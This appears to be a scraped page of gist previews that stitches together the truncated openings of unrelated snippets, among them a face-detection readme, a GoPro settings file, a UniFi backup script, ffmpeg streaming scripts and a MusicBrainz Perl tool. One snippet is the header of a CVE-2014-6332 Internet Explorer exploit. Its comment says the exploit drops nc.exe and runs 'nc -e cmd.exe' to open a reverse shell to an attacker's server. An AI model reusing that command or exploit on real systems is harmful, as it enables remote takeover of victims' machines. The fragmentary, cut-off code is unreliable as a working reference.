Ciro cirotron

This face-boxer.py script is more-or-less the same code that you'll find in the OpenCV tutorial: Face Detection using Haar Cascades. For another variation, with more explanation, check out RealPython's tutorial.

Usage

The face-boxer.py script is designed to be run from the command-line. It has two required arugments:

The path to a XML file containing a Haar-cascade of visual features. In this example, it will be the features that make up a face.
The path to an image file that you want to perform face-detection on. You can pass in more than one image file as space-separated arguments.

Note: these are pretty rough notes I made for my team on the fly as I was reading through some pages. Some could be mildly inaccurate but hopefully not terribly so. I might resort to convenient fiction & simplification sometimes.

My top contenders, mostly based on popularity / community etc:

Angular
Backbone
React
Ember

Mostly about MVC (or derivatives, MVP / MVVM).

	{
	"version":2.0,
	"display_hints":[
	{
	"key":"GPCAMERA_GROUP_VIDEO",
	"display_name":"Video Settings",
	"settings":[
	{
	"setting_id":5,
	"widget_type":"select",

	#!/bin/bash -e
	#
	# Improved backup script for Ubiquiti UniFi controller
	# original source: http://wiki.ubnt.com/UniFi#Automated_Backup
	#

	# must contain:
	# username=<username>
	# password=<password>
	source ~/.unifi-backup

	<html>
	<head>
	<!--
	CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
	The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
	'server_ip' and 'server_port' in javascript below determined the connect back target

	Tested on
	- IE11 + Windows 7 64-bit (EPM is off)
	- IE11 + Windoes 8.1 64-bit (EPM is off)

	"""
	This script was used to create the figures for http://jrsmith3.github.io/sample-logs-the-secret-to-managing-multi-person-projects.html from a PDF file containing some old CMU sample logs.
	"""

	import PyPDF2
	from wand.image import Image
	import io
	import os

	#! /bin/bash
	#
	# Diffusion youtube avec ffmpeg

	# Configurer youtube avec une résolution 720p. La vidéo n'est pas scalée.

	VBR="2500k" # Bitrate de la vidéo en sortie
	FPS="30" # FPS de la vidéo en sortie
	QUAL="medium" # Preset de qualité FFMPEG
	YOUTUBE_URL="rtmp://a.rtmp.youtube.com/live2" # URL de base RTMP youtube

	// Live video stream management for HTML5 video. Uses FFMPEG to connect to H.264 camera stream,
	// Camera stream is remuxed to a MP4 stream for HTML5 video compatibility and segments are recorded for later playback
	var liveStream = function (req, resp) { // handle each client request by instantiating a new FFMPEG instance
	// For live streaming, create a fragmented MP4 file with empty moov (no seeking possible).

	var reqUrl = url.parse(req.url, true)
	var cameraName = typeof reqUrl.pathname === "string" ? reqUrl.pathname.substring(1) : undefined;
	if (cameraName) {
	try {
	cameraName = decodeURIComponent(cameraName);

	#!/usr/bin/perl
	#
	# Script to submit the ISRCs stored on an Audio CD to MusicBrainz
	#
	# By Nicholas Humfrey <[email protected]>
	#
	#
	# Install the following Debian packages:
	# icedax
	# libmusicbrainz-discid-perl

	Basic Requirements:

	Computer with wired and wireless connection
	FFmpeg installation: http://www.ffmpeg.org/
	GoPro Hero 3+: http://gopro.com/
	RTMP server e.g. FMS (http://www.adobe.com/products/adobe-media-server-family.html) or CDN ingest point

	Overview:

	GoPro Hero3 cameras produce HLS streams which are consumed by control apps and their removeable monitor.